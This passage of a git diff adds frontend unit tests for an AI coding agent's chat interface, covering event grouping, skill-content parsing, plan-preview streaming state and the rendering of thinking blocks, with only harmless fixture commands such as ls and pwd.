+      makeBashObservation("o3", "a3", "whoami"),
+    ];
+
+    renderWithProviders(
+      <EventGroup events={events}>
+        <div>child</div>
+      </EventGroup>,
+    );
+
+    // Latest observation's title is still in the summary line.
+    expect(screen.getByText(/OBSERVATION_MESSAGE\$RUN/)).toBeInTheDocument();
+    // ...next to the completed count.
+    expect(
+      screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"),
+    ).toBeInTheDocument();
+  });
+
+  it("hides the latest action title once the group is finalized", () => {
+    const events = [
+      makeBashObservation("o1", "a1", "ls"),
+      makeBashObservation("o2", "a2", "pwd"),
+      makeBashObservation("o3", "a3", "whoami"),
+    ];
+
+    renderWithProviders(
+      <EventGroup events={events} isFinalized>
+        <div>child</div>
+      </EventGroup>,
+    );
+
+    expect(
+      screen.getByText("EVENT_GROUP$ACTIONS_COMPLETED"),
+    ).toBeInTheDocument();
+    // Once moved past, we collapse to just the count — the per-action title
+    // and the success check both go away.
+    expect(
+      screen.queryByText(/OBSERVATION_MESSAGE\$RUN/),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+  });
+
+  it("shows a spinner while running and no status icon when done", () => {
+    const running = [
+      makeBashObservation("o1", "a1", "ls"),
+      makeBashAction("a2", "pwd"),
+    ];
+
+    const { rerender } = renderWithProviders(
+      <EventGroup events={running}>
+        <div>child</div>
+      </EventGroup>,
+    );
+    expect(screen.getByTestId("spinner-icon")).toBeInTheDocument();
+    expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+
+    const done = [
+      makeBashObservation("o1", "a1", "ls"),
+      makeBashObservation("o2", "a2", "pwd"),
+    ];
+    rerender(
+      <EventGroup events={done}>
+        <div>child</div>
+      </EventGroup>,
+    );
+    expect(screen.queryByTestId("spinner-icon")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument();
+  });
+
+  it("updates accessibility state while toggling the group", async () => {
+    const events = [
+      makeBashObservation("o1", "a1", "ls"),
+      makeBashObservation("o2", "a2", "pwd"),
+      makeBashObservation("o3", "a3", "whoami"),
+    ];
+    const user = userEvent.setup();
+
+    renderWithProviders(
+      <EventGroup events={events}>
+        <div data-testid="child">child content</div>
+      </EventGroup>,
+    );
+
+    const toggle = screen.getByTestId("event-group-toggle");
+    expect(toggle).toHaveAttribute("aria-expanded", "false");
+    expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$EXPAND");
+    expect(screen.queryByRole("region")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("child")).not.toBeInTheDocument();
+
+    await user.click(toggle);
+
+    const content = screen.getByRole("region");
+    expect(toggle).toHaveAttribute("aria-expanded", "true");
+    expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$COLLAPSE");
+    expect(toggle).toHaveAttribute("aria-controls", content.id);
+    expect(content).toHaveAttribute("aria-labelledby", toggle.id);
+    expect(screen.getByTestId("child")).toBeInTheDocument();
+
+    await user.click(toggle);
+
+    expect(toggle).toHaveAttribute("aria-expanded", "false");
+    expect(toggle).toHaveAttribute("aria-label", "EVENT_GROUP$EXPAND");
+    expect(screen.queryByRole("region")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("child")).not.toBeInTheDocument();
+  });
+
+  it("keeps grouped file-action titles non-interactive inside the toggle", () => {
+    const fileAction: ActionEvent<FileEditorAction> = {
+      id: "a-file",
+      timestamp: new Date().toISOString(),
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      action: {
+        kind: "FileEditorAction",
+        command: "str_replace",
+        path: "src/app.ts",
+        file_text: null,
+        old_str: "a",
+        new_str: "b",
+        insert_line: null,
+        view_range: null,
+      },
+      tool_name: "file_editor",
+      tool_call_id: "call_a-file",
+      tool_call: {
+        id: "call_a-file",
+        type: "function",
+        function: {
+          name: "file_editor",
+          arguments: JSON.stringify({
+            command: "str_replace",
+            path: "src/app.ts",
+          }),
+        },
+      },
+      llm_response_id: "response_a-file",
+      security_risk: SecurityRisk.UNKNOWN,
+    };
+
+    renderWithProviders(
+      <EventGroup events={[fileAction]}>
+        <div>child</div>
+      </EventGroup>,
+    );
+
+    const toggle = screen.getByTestId("event-group-toggle");
+    expect(
+      toggle.querySelector('[data-testid="path-component-link"]'),
+    ).toBeNull();
+    expect(toggle.querySelectorAll("button")).toHaveLength(0);
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts b/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..4e3f4fed9990fdbbd9c43ecdca2eab1e21b6b842
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-components/skill-item-expanded.test.ts
@@ -0,0 +1,108 @@
+import { describe, expect, it } from "vitest";
+import {
+  parseSkillContent,
+  styleImportantTags,
+} from "#/components/conversation-events/chat/event-message-components/skill-item-expanded";
+
+describe("parseSkillContent", () => {
+  it("should extract matchInfo from content", () => {
+    const content =
+      "The following information has been included based on keyword match\nIt may or may not be relevant\n\nActual body content";
+    const result = parseSkillContent(content);
+
+    expect(result.matchInfo).toBe(
+      "The following information has been included based on keyword match",
+    );
+    expect(result.body).toBe("Actual body content");
+  });
+
+  it("should extract filePath from content", () => {
+    const content = "Skill location: /path/to/skill.md\n\nBody here";
+    const result = parseSkillContent(content);
+
+    expect(result.filePath).toBe("/path/to/skill.md");
+    expect(result.body).toBe("Body here");
+  });
+
+  it("should handle content with both matchInfo and filePath", () => {
+    const content =
+      "The following information has been included based on keyword match\nIt may or may not be relevant\nSkill location: /path/to/skill.md\n(Use this path to resolve imports)\n\nBody content";
+    const result = parseSkillContent(content);
+
+    expect(result.matchInfo).toBe(
+      "The following information has been included based on keyword match",
+    );
+    expect(result.filePath).toBe("/path/to/skill.md");
+    expect(result.body).toBe("Body content");
+  });
+
+  it("should handle content with no metadata", () => {
+    const content = "Just plain body content\nWith multiple lines";
+    const result = parseSkillContent(content);
+
+    expect(result.matchInfo).toBeNull();
+    expect(result.filePath).toBeNull();
+    expect(result.body).toBe("Just plain body content\nWith multiple lines");
+  });
+
+  it("should handle empty content", () => {
+    const result = parseSkillContent("");
+
+    expect(result.matchInfo).toBeNull();
+    expect(result.filePath).toBeNull();
+    expect(result.body).toBe("");
+  });
+
+  it("should skip blank lines between metadata and body", () => {
+    const content = "Skill location: /path/to/skill.md\n\n\nBody after blanks";
+    const result = parseSkillContent(content);
+
+    expect(result.filePath).toBe("/path/to/skill.md");
+    expect(result.body).toBe("Body after blanks");
+  });
+});
+
+describe("styleImportantTags", () => {
+  it("should wrap important tag content with bold markers", () => {
+    const text = "Some text <important>critical info</important> more text";
+    const result = styleImportantTags(text);
+
+    expect(result).toBe("Some text **critical info** more text");
+  });
+
+  it("should handle multiple important tags", () => {
+    const text =
+      "<important>first</important> and <important>second</important>";
+    const result = styleImportantTags(text);
+
+    expect(result).toBe("**first** and **second**");
+  });
+
+  it("should handle multiline content inside important tags", () => {
+    const text = "<important>line1\nline2</important>";
+    const result = styleImportantTags(text);
+
+    expect(result).toBe("**line1\nline2**");
+  });
+
+  it("should be case-insensitive", () => {
+    const text = "<IMPORTANT>test</IMPORTANT>";
+    const result = styleImportantTags(text);
+
+    expect(result).toBe("**test**");
+  });
+
+  it("should return text unchanged if no important tags", () => {
+    const text = "No important tags here";
+    const result = styleImportantTags(text);
+
+    expect(result).toBe("No important tags here");
+  });
+
+  it("should trim whitespace inside important tags", () => {
+    const text = "<important>  spaced  </important>";
+    const result = styleImportantTags(text);
+
+    expect(result).toBe("**spaced**");
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7ab2eedfc941e72142f9d4276e459357d69360c8
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-components/skill-ready-content-list.test.tsx
@@ -0,0 +1,143 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { I18nKey } from "#/i18n/declaration";
+import { SkillReadyContentList } from "#/components/conversation-events/chat/event-message-components/skill-ready-content-list";
+import { SkillReadyItem } from "#/components/conversation-events/chat/event-content-helpers/create-skill-ready-event";
+
+const makeItems = (
+  ...entries: [string, string][]
+): SkillReadyItem[] =>
+  entries.map(([name, content]) => ({ name, content }));
+
+describe("SkillReadyContentList", () => {
+  it("renders all skill names", () => {
+    const items = makeItems(["docker", "content1"], ["gitlab", "content2"]);
+
+    renderWithProviders(<SkillReadyContentList items={items} />);
+
+    expect(screen.getByText("docker")).toBeInTheDocument();
+    expect(screen.getByText("gitlab")).toBeInTheDocument();
+  });
+
+  it("renders the header label", () => {
+    const items = makeItems(["docker", "content"]);
+
+    renderWithProviders(<SkillReadyContentList items={items} />);
+
+    expect(
+      screen.getByText("SKILLS$TRIGGERED_SKILL_KNOWLEDGE"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders a custom header label when titleKey is provided", () => {
+    const items = makeItems(["docker", "content"]);
+
+    renderWithProviders(
+      <SkillReadyContentList
+        items={items}
+        titleKey={I18nKey.SKILLS$INVOKED_SKILL_KNOWLEDGE}
+      />,
+    );
+
+    expect(
+      screen.getByText("SKILLS$INVOKED_SKILL_KNOWLEDGE"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByText("SKILLS$TRIGGERED_SKILL_KNOWLEDGE"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not show content before clicking", () => {
+    const items = makeItems(["docker", "Docker usage guide"]);
+
+    renderWithProviders(<SkillReadyContentList items={items} />);
+
+    expect(screen.queryByText("Docker usage guide")).not.toBeInTheDocument();
+  });
+
+  it("expands skill content on click", async () => {
+    const user = userEvent.setup();
+    const items = makeItems(["docker", "Docker usage guide"]);
+
+    renderWithProviders(<SkillReadyContentList items={items} />);
+
+    await user.click(screen.getByText("docker"));
+
+    expect(screen.getByText("Docker usage guide")).toBeInTheDocument();
+  });
+
+  it("collapses skill content on second click", async () => {
+    const user = userEvent.setup();
+    const items = makeItems(["docker", "Docker usage guide"]);
+
+    renderWithProviders(<SkillReadyContentList items={items} />);
+
+    await user.click(screen.getByText("docker"));
+    expect(screen.getByText("Docker usage guide")).toBeInTheDocument();
+
+    await user.click(screen.getByText("docker"));
+    expect(screen.queryByText("Docker usage guide")).not.toBeInTheDocument();
+  });
+
+  it("expands skills independently", async () => {
+    const user = userEvent.setup();
+    const items = makeItems(
+      ["docker", "Docker guide"],
+      ["gitlab", "GitLab guide"],
+    );
+
+    renderWithProviders(<SkillReadyContentList items={items} />);
+
+    await user.click(screen.getByText("docker"));
+
+    expect(screen.getByText("Docker guide")).toBeInTheDocument();
+    expect(screen.queryByText("GitLab guide")).not.toBeInTheDocument();
+  });
+
+  it("renders <important> content as bold text", async () => {
+    const user = userEvent.setup();
+    const content = "Some text <important>critical info</important> more text";
+    const items = makeItems(["docker", content]);
+
+    renderWithProviders(<SkillReadyContentList items={items} />);
+
+    await user.click(screen.getByText("docker"));
+
+    // The important text should be rendered as bold (strong element)
+    const boldElement = screen.getByText("critical info");
+    expect(boldElement).toBeInTheDocument();
+    expect(boldElement.tagName).toBe("STRONG");
+  });
+
+  it("parses and displays file path from metadata", async () => {
+    const user = userEvent.setup();
+    const content = [
+      "The following information has been included based on a keyword match for \"docker\".",
+      "It may or may not be relevant to the user's request.",
+      "Skill location: /home/openhands/.openhands/skills/docker/SKILL.md",
+      "(Use this path to resolve relative file references)",
+      "",
+      "Docker Usage Guide",
+    ].join("\n");
+    const items = makeItems(["docker", content]);
+
+    renderWithProviders(<SkillReadyContentList items={items} />);
+
+    await user.click(screen.getByText("docker"));
+
+    // File path rendered in code element
+    expect(
+      screen.getByText(
+        "/home/openhands/.openhands/skills/docker/SKILL.md",
+      ),
+    ).toBeInTheDocument();
+    // Actual skill body rendered
+    expect(screen.getByText("Docker Usage Guide")).toBeInTheDocument();
+    // Metadata preamble lines are not rendered as-is in the body
+    expect(
+      screen.queryByText("It may or may not be relevant"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx b/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bd85783666e69acf0da9767cab91499a855d3ad8
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-plan-preview.test.tsx
@@ -0,0 +1,325 @@
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { screen } from "@testing-library/react";
+import { EventMessage } from "#/components/conversation-events/chat/event-message";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useAgentState, usePlanningAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+import {
+  renderWithProviders,
+  createPlanningObservationEvent,
+} from "test-utils";
+
+// Mock useConfig
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => ({
+    data: {},
+  }),
+}));
+
+// Mock useAgentState (main) and usePlanningAgentState (planner) independently
+// so each test controls exactly one without the other's default bleeding in.
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: vi.fn(),
+  usePlanningAgentState: vi.fn(),
+}));
+
+// Mock useConversationId (EventMessage -> useAgentState -> useActiveConversation -> useConversationId)
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+  useConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+
+// Mock PlanPreview component to verify it's rendered
+vi.mock("#/components/features/chat/plan-preview", () => ({
+  PlanPreview: ({
+    planContent,
+    isStreaming,
+  }: {
+    planContent?: string | null;
+    isStreaming?: boolean;
+  }) => (
+    <div data-testid="plan-preview" data-is-streaming={isStreaming}>
+      Plan Preview: {planContent || "null"}
+    </div>
+  ),
+}));
+
+describe("EventMessage - PlanPreview rendering", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    useConversationStore.setState({ planContent: null });
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.INIT,
+    });
+    // A resolved planner id by default, idle, so the isStreaming-specific
+    // tests below only need to vary isLastMessage / planning agent state.
+    vi.mocked(usePlanningAgentState).mockReturnValue({
+      localPlanningConversationId: "planner-1",
+      curPlanningAgentState: AgentState.INIT,
+      isPlanningAgentRunning: false,
+    });
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should render PlanPreview when PlanningFileEditorObservation event ID is in planPreviewEventIds", () => {
+    const event = createPlanningObservationEvent("plan-obs-1");
+    const planPreviewEventIds = new Set(["plan-obs-1"]);
+    const planContent = "This is the plan content";
+
+    useConversationStore.setState({ planContent });
+
+    renderWithProviders(
+      <EventMessage
+        event={event}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+        planPreviewEventIds={planPreviewEventIds}
+      />,
+    );
+
+    expect(screen.getByTestId("plan-preview")).toBeInTheDocument();
+    expect(
+      screen.getByText(`Plan Preview: ${planContent}`),
+    ).toBeInTheDocument();
+  });
+
+  it("should return null when PlanningFileEditorObservation event ID is NOT in planPreviewEventIds", () => {
+    const event = createPlanningObservationEvent("plan-obs-1");
+    const planPreviewEventIds = new Set(["plan-obs-2"]); // Different ID
+
+    const { container } = renderWithProviders(
+      <EventMessage
+        event={event}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+        planPreviewEventIds={planPreviewEventIds}
+      />,
+    );
+
+    expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument();
+    expect(container.firstChild).toBeNull();
+  });
+
+  it("should return null when planPreviewEventIds is undefined", () => {
+    const event = createPlanningObservationEvent("plan-obs-1");
+
+    const { container } = renderWithProviders(
+      <EventMessage
+        event={event}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+        planPreviewEventIds={undefined}
+      />,
+    );
+
+    expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument();
+    expect(container.firstChild).toBeNull();
+  });
+
+  it("should use planContent from conversation store", () => {
+    const event = createPlanningObservationEvent("plan-obs-1");
+    const planPreviewEventIds = new Set(["plan-obs-1"]);
+    const planContent = "Store plan content";
+
+    useConversationStore.setState({ planContent });
+
+    renderWithProviders(
+      <EventMessage
+        event={event}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+        planPreviewEventIds={planPreviewEventIds}
+      />,
+    );
+
+    expect(
+      screen.getByText(`Plan Preview: ${planContent}`),
+    ).toBeInTheDocument();
+  });
+
+  it("should handle null planContent from store", () => {
+    const event = createPlanningObservationEvent("plan-obs-1");
+    const planPreviewEventIds = new Set(["plan-obs-1"]);
+
+    useConversationStore.setState({ planContent: null });
+
+    renderWithProviders(
+      <EventMessage
+        event={event}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+        planPreviewEventIds={planPreviewEventIds}
+      />,
+    );
+
+    expect(screen.getByTestId("plan-preview")).toBeInTheDocument();
+    expect(screen.getByText("Plan Preview: null")).toBeInTheDocument();
+  });
+
+  it("should handle empty planPreviewEventIds set", () => {
+    const event = createPlanningObservationEvent("plan-obs-1");
+    const planPreviewEventIds = new Set<string>();
+
+    const { container } = renderWithProviders(
+      <EventMessage
+        event={event}
+        messages={[]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+        planPreviewEventIds={planPreviewEventIds}
+      />,
+    );
+
+    expect(screen.queryByTestId("plan-preview")).not.toBeInTheDocument();
+    expect(container.firstChild).toBeNull();
+  });
+
+  describe("isStreaming prop", () => {
+    it("should pass isStreaming=true when isLastMessage is true and planner is RUNNING", () => {
+      const event = createPlanningObservationEvent("plan-obs-1");
+      const planPreviewEventIds = new Set(["plan-obs-1"]);
+      const planContent = "Streaming plan content";
+
+      useConversationStore.setState({ planContent });
+      vi.mocked(usePlanningAgentState).mockReturnValue({
+        localPlanningConversationId: "planner-1",
+        curPlanningAgentState: AgentState.RUNNING,
+        isPlanningAgentRunning: true,
+      });
+
+      renderWithProviders(
+        <EventMessage
+          event={event}
+          messages={[]}
+          isLastMessage={true}
+          isInLast10Actions={false}
+          planPreviewEventIds={planPreviewEventIds}
+        />,
+      );
+
+      const planPreview = screen.getByTestId("plan-preview");
+      expect(planPreview).toBeInTheDocument();
+      expect(planPreview).toHaveAttribute("data-is-streaming", "true");
+    });
+
+    it("should pass isStreaming=false when isLastMessage is false even if planner is RUNNING", () => {
+      const event = createPlanningObservationEvent("plan-obs-1");
+      const planPreviewEventIds = new Set(["plan-obs-1"]);
+      const planContent = "Plan content";
+
+      useConversationStore.setState({ planContent });
+      vi.mocked(usePlanningAgentState).mockReturnValue({
+        localPlanningConversationId: "planner-1",
+        curPlanningAgentState: AgentState.RUNNING,
+        isPlanningAgentRunning: true,
+      });
+
+      renderWithProviders(
+        <EventMessage
+          event={event}
+          messages={[]}
+          isLastMessage={false}
+          isInLast10Actions={false}
+          planPreviewEventIds={planPreviewEventIds}
+        />,
+      );
+
+      const planPreview = screen.getByTestId("plan-preview");
+      expect(planPreview).toBeInTheDocument();
+      expect(planPreview).toHaveAttribute("data-is-streaming", "false");
+    });
+
+    it("should pass isStreaming=false when planner state is not RUNNING even if isLastMessage is true", () => {
+      const event = createPlanningObservationEvent("plan-obs-1");
+      const planPreviewEventIds = new Set(["plan-obs-1"]);
+      const planContent = "Completed plan content";
+
+      useConversationStore.setState({ planContent });
+      vi.mocked(usePlanningAgentState).mockReturnValue({
+        localPlanningConversationId: "planner-1",
+        curPlanningAgentState: AgentState.AWAITING_USER_INPUT,
+        isPlanningAgentRunning: false,
+      });
+
+      renderWithProviders(
+        <EventMessage
+          event={event}
+          messages={[]}
+          isLastMessage={true}
+          isInLast10Actions={false}
+          planPreviewEventIds={planPreviewEventIds}
+        />,
+      );
+
+      const planPreview = screen.getByTestId("plan-preview");
+      expect(planPreview).toBeInTheDocument();
+      expect(planPreview).toHaveAttribute("data-is-streaming", "false");
+    });
+
+    it("should pass isStreaming=false when localPlanningConversationId hasn't resolved yet, even if isLastMessage and planner state are RUNNING", () => {
+      // Regression: useAgentState(undefined) falls back to the route
+      // conversation's own state, so without this guard the code agent's
+      // activity could be mistaken for the planner's before the planner id
+      // resolves (e.g. right after "Create a Plan" is clicked).
+      const event = createPlanningObservationEvent("plan-obs-1");
+      const planPreviewEventIds = new Set(["plan-obs-1"]);
+      const planContent = "Plan content";
+
+      useConversationStore.setState({ planContent });
+      vi.mocked(usePlanningAgentState).mockReturnValue({
+        localPlanningConversationId: null,
+        curPlanningAgentState: AgentState.RUNNING,
+        isPlanningAgentRunning: false,
+      });
+
+      renderWithProviders(
+        <EventMessage
+          event={event}
+          messages={[]}
+          isLastMessage
+          isInLast10Actions={false}
+          planPreviewEventIds={planPreviewEventIds}
+        />,
+      );
+
+      const planPreview = screen.getByTestId("plan-preview");
+      expect(planPreview).toBeInTheDocument();
+      expect(planPreview).toHaveAttribute("data-is-streaming", "false");
+    });
+
+    it("should pass isStreaming=false when planner state is FINISHED", () => {
+      const event = createPlanningObservationEvent("plan-obs-1");
+      const planPreviewEventIds = new Set(["plan-obs-1"]);
+      const planContent = "Finished plan content";
+
+      useConversationStore.setState({ planContent });
+      vi.mocked(usePlanningAgentState).mockReturnValue({
+        localPlanningConversationId: "planner-1",
+        curPlanningAgentState: AgentState.FINISHED,
+        isPlanningAgentRunning: false,
+      });
+
+      renderWithProviders(
+        <EventMessage
+          event={event}
+          messages={[]}
+          isLastMessage={true}
+          isInLast10Actions={false}
+          planPreviewEventIds={planPreviewEventIds}
+        />,
+      );
+
+      const planPreview = screen.getByTestId("plan-preview");
+      expect(planPreview).toBeInTheDocument();
+      expect(planPreview).toHaveAttribute("data-is-streaming", "false");
+    });
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx b/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b1f86eaf6979c9ae1c2c24882fcde89b900aa702
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-message-think-action.test.tsx
@@ -0,0 +1,255 @@
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { EventMessage } from "#/components/conversation-events/chat/event-message";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { ThinkAction, ExecuteBashAction } from "#/types/agent-server/core/base/action";
+import { renderWithProviders } from "test-utils";
+
+// Mock useConfig
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => ({
+    data: {},
+  }),
+}));
+
+// Mock useAgentState
+vi.mock("#/hooks/use-agent-state");
+
+// Mock useConversationId
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }),
+  useConversationId: () => ({ conversationId: "test-conversation-id" }),
+}));
+
+const createThinkActionEvent = (
+  id: string,
+  thought: string,
+): ActionEvent<ThinkAction> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "agent",
+  thought: [
+    {
+      type: "text",
+      text: `think: {"thought": "${thought}"}`,
+    },
+  ],
+  thinking_blocks: [],
+  action: {
+    kind: "ThinkAction",
+    thought,
+  },
+  tool_name: "think",
+  tool_call_id: `call_think_${id}`,
+  tool_call: {
+    id: `call_think_${id}`,
+    type: "function",
+    function: {
+      name: "think",
+      arguments: JSON.stringify({ thought }),
+    },
+  },
+  llm_response_id: `response_${id}`,
+  security_risk: SecurityRisk.UNKNOWN,
+});
+
+const createBashActionEvent = (
+  id: string,
+  command: string,
+  thoughtText: string,
+  overrides?: Partial<ActionEvent<ExecuteBashAction>>,
+): ActionEvent<ExecuteBashAction> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "agent",
+  thought: [{ type: "text", text: thoughtText }],
+  thinking_blocks: [],
+  action: {
+    kind: "ExecuteBashAction",
+    command,
+    is_input: false,
+    timeout: null,
+    reset: false,
+  },
+  tool_name: "execute_bash",
+  tool_call_id: `call_bash_${id}`,
+  tool_call: {
+    id: `call_bash_${id}`,
+    type: "function",
+    function: {
+      name: "execute_bash",
+      arguments: JSON.stringify({ command }),
+    },
+  },
+  llm_response_id: `response_${id}`,
+  security_risk: SecurityRisk.UNKNOWN,
+  ...overrides,
+});
+
+describe("EventMessage - ThinkAction rendering", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.INIT,
+    });
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should NOT render raw tool call text for ThinkAction events", () => {
+    const thinkEvent = createThinkActionEvent(
+      "think-1",
+      "Let me analyze the problem",
+    );
+
+    renderWithProviders(
+      <EventMessage
+        event={thinkEvent}
+        messages={[thinkEvent]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    // The raw tool call text should NOT be displayed
+    expect(
+      screen.queryByText(/think: \{"thought":/),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should render ThinkAction as a collapsible section", () => {
+    const thinkEvent = createThinkActionEvent(
+      "think-2",
+      "Let me analyze the problem",
+    );
+
+    renderWithProviders(
+      <EventMessage
+        event={thinkEvent}
+        messages={[thinkEvent]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    // The collapsible thinking wrapper should exist
+    expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument();
+
+    // The thought content should NOT be visible initially (collapsed by default)
+    expect(
+      screen.queryByTestId("collapsible-thinking-content"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should expand ThinkAction content when toggle is clicked", async () => {
+    const user = userEvent.setup();
+    const thinkEvent = createThinkActionEvent(
+      "think-3",
+      "Let me analyze the problem",
+    );
+
+    renderWithProviders(
+      <EventMessage
+        event={thinkEvent}
+        messages={[thinkEvent]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    // Click the toggle to expand
+    await user.click(screen.getByTestId("collapsible-thinking-toggle"));
+
+    // Now the content should be visible
+    expect(
+      screen.getByTestId("collapsible-thinking-content"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText("Let me analyze the problem"),
+    ).toBeInTheDocument();
+  });
+
+  it("should render ThoughtEventMessage for non-ThinkAction events", () => {
+    const bashEvent = createBashActionEvent(
+      "bash-1",
+      "echo hello",
+      "I need to run a command",
+    );
+
+    renderWithProviders(
+      <EventMessage
+        event={bashEvent}
+        messages={[bashEvent]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    // The thought should be displayed for non-think actions
+    expect(
+      screen.getByText("I need to run a command"),
+    ).toBeInTheDocument();
+  });
+
+  it("should render reasoning_content as a collapsible section", () => {
+    const bashEvent = createBashActionEvent(
+      "bash-reasoning",
+      "echo hello",
+      "Running a command",
+      {
+        reasoning_content: "I need to think carefully about this step.",
+      },
+    );
+
+    renderWithProviders(
+      <EventMessage
+        event={bashEvent}
+        messages={[bashEvent]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    // The collapsible thinking wrapper should exist for reasoning_content
+    expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument();
+
+    // The reasoning content should be hidden initially
+    expect(
+      screen.queryByText("I need to think carefully about this step."),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should render thinking_blocks as a collapsible section", () => {
+    const bashEvent = createBashActionEvent(
+      "bash-thinking-blocks",
+      "echo hello",
+      "Running a command",
+      {
+        thinking_blocks: [
+          {
+            type: "thinking",
+            thinking: "Extended thinking block content here.",
+            signature: "sig123",
+          },
+        ],
+      },
+    );
+
+    renderWithProviders(
+      <EventMessage
+        event={bashEvent}
+        messages={[bashEvent]}
+        isLastMessage={false}
+        isInLast10Actions={false}
+      />,
+    );
+
+    // The collapsible thinking wrapper should exist for thinking_blocks
+    expect(screen.getByTestId("collapsible-thinking")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts b/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3b5f8064d577e484b2f5f7c60af1ff41aea7c65f
--- /dev/null
+++ b/__tests__/components/conversation-events/chat/event-thought-helpers.test.ts
@@ -0,0 +1,86 @@
+import { describe, it, expect } from "vitest";
+import { splitInlineThink } from "#/components/conversation-events/chat/event-thought-helpers";
+
+describe("splitInlineThink", () => {
+  it("returns content unchanged when there is no <think> block", () => {
+    expect(splitInlineThink("Hello! How can I help?")).toEqual({
+      reasoning: "",
+      message: "Hello! How can I help?",
+    });
+  });
+
+  it("extracts a leading closed <think> block and keeps the trailing message", () => {
+    const content =
+      "<think>The user wants a greeting. Simple.</think>\n\n\nHello!";
+    expect(splitInlineThink(content)).toEqual({
+      reasoning: "The user wants a greeting. Simple.",
+      message: "Hello!",
+    });
+  });
+
+  it("handles leading whitespace before the <think> block", () => {
+    expect(splitInlineThink("\n  <think>thinking</think>\n\nHi")).toEqual({
+      reasoning: "thinking",
+      message: "Hi",
+    });
+  });
+
+  it("returns an empty message when the content is reasoning only", () => {
+    expect(splitInlineThink("<think>just thinking</think>")).toEqual({
+      reasoning: "just thinking",
+      message: "",
+    });
+  });
+
+  // Regression: an agent that literally emits "<think>" as its finalized
+  // answer (no closing tag) must render verbatim, not vanish into Thinking.
+  it("renders a finalized unclosed leading <think> verbatim", () => {
+    expect(splitInlineThink("<think>")).toEqual({
+      reasoning: "",
+      message: "<think>",
+    });
+  });
+
